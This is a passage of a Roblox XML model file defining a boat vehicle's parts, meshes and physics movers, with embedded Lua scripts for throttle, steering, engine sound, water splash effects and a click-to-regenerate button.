									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">199</int>
									<CoordinateFrame name="CFrame">
										<X>-1079</X>
										<Y>5.49634361</Y>
										<Z>650</Z>
										<R00>1</R00>
										<R01>-3.35765475e-021</R01>
										<R02>1.34065384e-022</R02>
										<R10>3.35765475e-021</R10>
										<R11>1</R11>
										<R12>-3.40984851e-020</R12>
										<R20>-1.34065384e-022</R20>
										<R21>3.40984851e-020</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<bool name="HeadsUpDisplay">true</bool>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<float name="MaxSpeed">0</float>
									<string name="Name">VehicleSeat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>1.49274233e-018</X>
										<Y>-5.30081247e-020</Y>
										<Z>-9.65510091e-020</Z>
									</Vector3>
									<int name="Steer">0</int>
									<int name="Throttle">0</int>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Torque">1</float>
									<float name="Transparency">0</float>
									<float name="TurnSpeed">0</float>
									<Vector3 name="Velocity">
										<X>-2.02750938e-019</X>
										<Y>0.053320989</Y>
										<Z>5.78146102e-019</Z>
									</Vector3>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX5099">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.300000012</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX5100">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ParentScript</string>
									<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX5101">
								<Properties>
									<bool name="Anchored">true</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-1079</X>
										<Y>3</Y>
										<Z>659</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Base</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>4</Y>
										<Z>30</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX5102">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX5103">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BG</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>109</X>
											<Y>3.4000001</Y>
											<Z>18</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>400000</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyVelocity" referent="RBX5104">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">BV</string>
										<float name="P">1250</float>
										<Vector3 name="maxForce">
											<X>1000000</X>
											<Y>0</Y>
											<Z>1000000</Z>
										</Vector3>
										<Vector3 name="velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyPosition" referent="RBX5105">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">Hover</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>INF</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>0</X>
											<Y>1</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Sound" referent="RBX5106">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">true</bool>
										<string name="Name">Engine</string>
										<float name="Pitch">6</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX5107">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">EngineScript</string>
										<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX5108">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
										<X>-1079</X>
										<Y>0.5</Y>
										<Z>649</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>2.8049714e-020</X>
										<Y>7.45343168e-018</Y>
										<Z>2.8049714e-020</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>4.52189532e-017</X>
										<Y>0.10494037</Y>
										<Z>4.52189532e-017</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX5109">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
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									<token name="shape">1</token>
									<Vector3 name="size">
										<X>4</X>
										<Y>12</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX5170">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">0</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.5</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX5171">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">BoatScript</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
								<Item class="Script" referent="RBX5172">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">WaterScript</string>
										<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX5173">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1135</X>
					<Y>4</Y>
					<Z>667</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX5174">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX5175">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1125</X>
						<Y>7</Y>
						<Z>683</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX5176">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX5177">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX5178">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX5179">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX5180">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Assult2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX5181">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Bodykit</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Seat" referent="RBX5182">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1128</X>
								<Y>5.20000029</Y>
								<Z>663</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX5183">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX5184">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1128</X>
								<Y>5.20000029</Y>
								<Z>667</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX5185">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
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							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Wire</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
